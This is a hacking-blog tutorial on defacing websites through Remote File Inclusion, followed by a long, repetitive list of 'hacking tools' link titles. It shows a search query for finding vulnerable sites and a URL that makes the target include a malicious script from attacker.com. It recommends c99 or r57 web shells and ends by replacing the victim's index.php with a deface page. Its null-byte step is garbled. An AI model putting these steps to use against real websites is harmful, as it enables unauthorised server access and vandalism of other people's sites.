HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Related news

1. Hak5 Tools
2. Pentest Tools Tcp Port Scanner
3. Hacking Tools And Software
4. Top Pentest Tools
5. Hack Tools Mac
6. Nsa Hack Tools Download
7. Hacking Tools Windows 10
8. Pentest Tools Bluekeep
9. Hacking Tools Hardware
10. Hacking Tools For Windows
11. Free Pentest Tools For Windows
12. Kik Hack Tools
13. Hacker Security Tools
14. Pentest Tools Website
15. Hacking Tools Windows 10
16. Hackers Toolbox
17. Hacking Tools
18. Pentest Tools
19. Pentest Tools Apk
20. Hacking Tools For Games
21. Hacker Tools Apk
22. Hacker Tools Github
23. Pentest Tools Download
24. Pentest Reporting Tools
25. Underground Hacker Sites
26. What Is Hacking Tools
27. Hacker Techniques Tools And Incident Handling
28. Hacker Tools Software
29. Hack Tools For Mac
30. Kik Hack Tools
31. Hacker Tools Apk Download
32. Hack Tools
33. Pentest Tools Tcp Port Scanner
34. Hacking Tools Pc
35. What Is Hacking Tools
36. Hacker Tools Github
37. Nsa Hack Tools Download
38. Tools For Hacker
39. New Hack Tools
40. Computer Hacker
41. Easy Hack Tools
42. Hack Tools Mac
43. Hacking Tools For Mac
44. Hacker Tools Mac
45. Easy Hack Tools
46. Hack Rom Tools
47. Hack Website Online Tool
48. Hacker Tools
49. Hacker Tools 2019
50. Hacking Tools For Windows Free Download
51. Pentest Tools Download
52. Pentest Tools Website
53. Hack Tools 2019
54. Hacking Tools Name
55. Hackers Toolbox
56. Growth Hacker Tools
57. Pentest Tools Find Subdomains
58. Hack Tools
59. How To Make Hacking Tools
60. Pentest Tools Subdomain
61. Hack App
62. Pentest Tools Linux
63. Free Pentest Tools For Windows
64. Hacking Tools For Windows 7
65. Hacker Tool Kit
66. Hacking Tools Kit
67. What Are Hacking Tools
68. Hacker Hardware Tools
69. Hacking Tools Github
70. Easy Hack Tools
71. Pentest Tools Apk
72. Pentest Tools For Ubuntu
73. Pentest Tools Android
74. Hack Tools Mac
75. Hacking Tools Free Download
76. Hacking Tools
77. Wifi Hacker Tools For Windows
78. Pentest Tools For Windows
79. Hacker Tools Windows
80. Pentest Tools For Ubuntu
81. Pentest Tools Windows
82. Hacker Tools
83. Hacker Tools Free Download
84. New Hack Tools
85. Hacker Tools List
86. Hacker
87. What Is Hacking Tools
88. Hacker Tools Windows